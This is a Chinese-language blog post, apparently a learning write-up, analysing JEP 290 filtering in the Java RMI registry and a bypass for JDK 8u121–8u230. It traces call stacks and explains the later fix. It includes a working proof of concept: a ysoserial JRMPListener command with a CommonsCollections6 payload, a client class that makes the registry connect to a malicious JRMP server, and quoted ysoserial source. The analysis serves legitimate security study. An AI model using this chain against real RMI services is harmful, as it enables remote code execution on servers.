前言#
上文已分析過 rmi 反序列化的幾種攻擊方法,這篇文章就學習了一下 JEP290 機制的檢測和繞過思路,整個流程是比較清楚的了,就是讓 registry 當作 client 端向惡意 jrmp 服務端發起 rmi 請求,此時環境的 filter 為空。
JEP290 是什麼#
實驗版本 jdk1.8.0_192
高版本 jdk 引入了 JEP 290 策略,並在 Client 與 Registry 的通信過程中默認設置了 registryFilter,使得只有在白名單裡面的類才能夠被反序列化。
簡單說就是一個防禦反序列化攻擊
的黑白名單過濾器
。
- 提供一個限制反序列化類的機制,白名單或者黑名單。
- 限制反序列化的深度和複雜度。
- 為 RMI 遠程調用對象提供了一個驗證類的機制。
- 定義一個可配置的過濾機制,比如可以通過配置 properties 文件的形式來定義過濾器。
官方文檔:https://openjdk.java.net/jeps/290
JEP290 支持的版本:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
設置 JEP290 的方式有下面兩種:
- 透過 setObjectInputFilter 來設置 filter。
- 直接透過 conf/security/java.properties 文件進行配置。
JEP290 流程分析#
按照 zjj 的說法,其實就是把 client 與 registry 的通信劃分為兩段,第一段是 client 與 registry 正常的通信,第二段就是 registry 作為客戶端向惡意的 JRMP 服務端發起 RMI 請求,在第二段通信中,是沒有進行 JEP290 check 的。
上圖中,其實是處理請求的代碼,但是在第二個斷點處存在 lookup 連接,所以如果可以控制一些參數的話,就可以把第二個斷點當作入口,在裡面進行新的 rmi 通信。
JEP290 check 點#
首先服務端還是在RegistryImpl_Skel#dispatch
處理遠程調用,case 0 對應 bind 操作,var82 對應綁定對象的名稱,var87 對應要導出的遠程對象,再此對傳入的遠程調用流進行反序列化。
然後再依次步進:
readClassDesc
方法會根據反序列化的類不同進入不同的 case 中,這裡注意代理類,
就會進入filterCheck
。
當第一次分析的時候,就可以從 logging 這裡下斷點,因為這個信息我們能從報錯中得到,然後根據調用棧再來分析整個 check 流程,調用棧如下:
filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
在filterCheck
的status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));
部分就會調用 check 方法:RegistryImpl#registryFilter
。
這裡對反序列化的類進行了白名單限制:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
只要反序列化的類不是白名單中的類,就會返回 REJECTED 操作符,表示序列化流中有不合法的內容,直接拋出異常。
Server 端執行 bind 方法的參數必須是一個實現了 Remote 接口的對象,但是普通的 CC 鏈最後生成的惡意對象是不滿足這個條件的,這時候就需要動態代理來代理 Remote 接口,實際上最後綁定的是動態代理生成的代理對象:
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap); Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler); registry.bind("pwn", remote);
在反序列化的時候,除了對代理對象本身反序列化,也要對其內部字段進行反序列化,類似於一個遞歸的過程,我們的代理對象本身(它自身實現了被代理的接口,這裡是 Remote 接口)是會觸發 check 的,真正觸發 check 的其實是內部的 InvocationHandlerImpl。
然後可以看上面的調用棧,其實是調用了兩次 readObject0 方法的,第一次就是對代理對象本身的反序列化,第二次是對其內部字段進行反序列化。
readSerialData
方法會讀取對象內部的字段,然後循環進入 readObject0 方法處理:
最終會因為InvocationHandlerImpl
觸發 filter 的 check:
filter 創建過程#
在觸發 check 的時候,filter 是一個 Lambda 表達式。
其會進入RegistryImpl#registryFilter
,整個調用棧如下:
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
現在的問題是為什麼會進入RegistryImpl#registryFilter
,先看RegistryImpl
的構造函數。
雖然有多個重載的構造方法,核心都是傳入了一個 Lambda 表達式作為 filter。
RegistryImpl::registryFilter
即info → RegistryImpl.registryFilter(info)
,因為它和ObjectInputFilter
接口的抽象方法簽名一致,所以可以直接通過方法引用來簡寫:
同時在第二種構造函數中,Lambda 表達式以 ObjectInputFilter 接口的形式傳入了 UnicastServerRef2 的構造方法中。
最後賦值給了該類的 filter 成員變量。
同時需要注意到在 Registry 的創建過程中 filter 最終只是作為 UnicastServerRef 的一個成員變量而存在,直到 Registry 在處理請求的時候,在 oldDispatch 方法中才把 filter 賦值給了 ObjectInputStream 的成員變量 serialFilter。
調用棧:
setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
Bypass 8u121~8u230#
UnicastRef 類#
在代碼層面來說,我們在執行 bind、lookup 等方法的時候都會先獲取到一個 Registry,比如:
Registry registry = LocateRegistry.getRegistry(1099);
跟進LocateRegistry#getRegistry
方法:
這裡的 TCPEndpoint 封裝了 Registry 的 host、端口等信息,然後用 UnicastRef 封裝了 liveRef。最終獲取到的是一個 RegistryImpl_Stub 對象。
然後用這個 Stub 對象(客戶端)去連接 Registry,這裡以 bind 方法為例。
從這個過程來看,通過 UnicastRef 的 newCall 方法發起連接,然後把要查找的對象發送到 Registry。
所以如果我們可以控制 UnicastRef 中 LiveRef 所封裝的 host、端口等信息,我們就可以發起一個任意的 JRMP 連接請求,這其實就是 ysoserial 中的 payloads.JRMPClient 的原理。
RemoteObject 類#
RemoteObject 是一個抽象類,在後面的 Bypass 思路構造中它會扮演一個很重要的角色。它實現了 Remote 和 Serializable 接口,代表它(及其子類)可以通過白名單的檢測,而 Bypass 利用的關鍵點就是它的 readObject 方法:
測試代碼#
這裡攻擊的是register
,依次執行下面命令和 java 文件:
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"
RMIRegistry
package bypass_jep290;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}
DefineClient
package bypass_jep290;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以,但需要手動模擬lookup方法的流程
registry.bind("pwn", handler);
}
}
處理請求時反序列化遠程調用對象 (有 check)#
首先是 client 對 registry 發起了一個 bind 請求,進入到RegistryImpl_Skel#dispatch
的處理邏輯中,在readObject
處反序列化 client 傳給 registry 的遠程調用對象,在這其中存在 JEP290 的 check 點,調用棧如下:
filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
因為我們反序列化的對象是RemoteObjectInvocationHandler
,所以繞過了 check,然後進入RemoteObject
的readObject
方法。
在這個方法中會讀出序列化流中的 host 和端口信息(就是惡意 JRMP 服務的 host 與端口)然後重新封裝成一個 LiveRef 對象,將其存儲到當前的 ConnectionInputStream 上,調用 saveRef 方法:
建立了一個 TCPEndpoint 到 ArrayList的映射關係。
調用棧如下:
readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
根據調用棧可以看見,在readOrdinaryObject
會先進入readClassDesc
進行 check,再進入readSerialData
反序列化對象。
releaseInputStream 作為入口進行新的 rmi 通信 (無 check)#
再處理完上述請求之後,releaseInputStream
會釋放與RemoteCall
關聯的輸入流,但是這裡會進行 lookup 查找操作。
這裡的 in 就是上面說到的包裝了 LiveRef 對象 ConnectionInputStream 對象,繼續跟進:
在這裡就會根據之前存儲的映射關係,讀出序列化流中的 host 和端口信息(就是惡意 JRMP 服務的 host 與端口),提取值然後傳入DGCClient#registerRefs
方法中:
這裡 lookup 其實沒幹什麼,只是封裝了下我們的 var0。
後續在executeCall()
中this.getInputStream();
建立新的通訊
,然後將接收序列化數據執行反序列化
。
調用棧如下:
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
TCPEndpoint(JRMP 段地址)的賦值#
要編寫 poc,就要查看 TCPEndpoint 是如何賦值的,上面已經分析過,是從 RemoteObject 的 readObject 方法開始的,這裡再看下需要注意的細節。
這裡會從序列化數據
提取出ip
和port
,生成一個TCPEndpoint
賦給var2
,然後封裝成一個LiveRef
傳到var6.saveRef()
裡。
saveRef()
裡最後存在到incomingRefTable
這個table
裡面,可以回頭看利用分析
,就是從這個變量
取的對象
。
現在我們看能否給這個變量賦值,重點代碼如下:
TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);
第二段通信關於 check 的細節#
第一段通信是 server 向 registry 進行 bind 的,向Register端
進行數據傳輸。
上文已經說了,在 Registry 的創建過程中 filter 最終只是作為 UnicastServerRef 的一個成員變量而存在,直到 Registry 在處理請求的時候,在 oldDispatch 方法中才把 filter 賦值給了 ObjectInputStream 的成員變量 serialFilter,所以現在的 serialFilter 為 null。
同時注意到這裡的ConnectionInputStream@953
編號。
然後再在在UnicastServerRef#unmarshalCustomCallData()
中給this.serialFilter
設置了值。
注意這裡編號ConnectionInputStream@953
。
然後進入第二段的 jrmp 通信。
在建立完上面說到的新的通訊
後,也會到ObjectInputStream
設置serialFilter
,但是由於沒有進入UnicastServerRef#oldDispatch
方法,所以這裡的serialFilter
為 null。
編號為ConnectionInputStream@1121
,然後到StreamRemoteCall#executeCall
方法,反序列化 jrmp 返回的惡意對象。
這裡也是沒有設置serialFilter
的。
小結#
這裡我想表達什麼呢,就是分清楚,這種方法為什麼可以繞過JEP290
,第一段通信registry
是和Server端
,第二段是和JMRP端
。這裡ConnectionInputStream
其實就代表著ObjectInputStream
,而第一段通信中設置的serialFilter
只作用於第一段通信中,即只作用於Register和Server之間的readObject中
!!(JEP290作用域
)
同時 Bypass JEP290 的思路如下:
- 用 ysoserial 開啟一個惡意的 JRMPListener。
- 控制 RemoteObject 中的 UnicastRef 對象,這個對象封裝了惡意 Server 的 host、端口等信息。
- Client / Server 向 Registry 發送這個 RemoteObject 對象,Registry 觸發 readObject 方法之後會向惡意的 JRMP Server 發起連接請求。
- 後續觸發 JRMPListener。
Registry 觸發反序列化的利用鏈:
客戶端發送數據 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (處理請求)
–> RemoteObject#readObject (第一次通信,進入RemoteObject#readObject, 為了經過反序列化可以設置內部的 UnicastRef 對象發起 JRMP 請求連接惡意的 Server)
StreamRemoteCall#releaseInputStream (釋放資源處,第二次通信入口)
–> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs
–> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”
yso 的代碼#
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
待補充 poc 編寫思路、看看 ysoserial 的二開#
修復#
在dirty()
方法中建立通訊
後,給this.filter
設置了一個JEP290
(表達式)。
原始
修復後
然後在this.in
的serialFilter
中設置上這個filter
。
在dirty()
方法中建立通訊
後,給this.filter
設置了一個JEP290
(表達式)。
然後被檢測出來。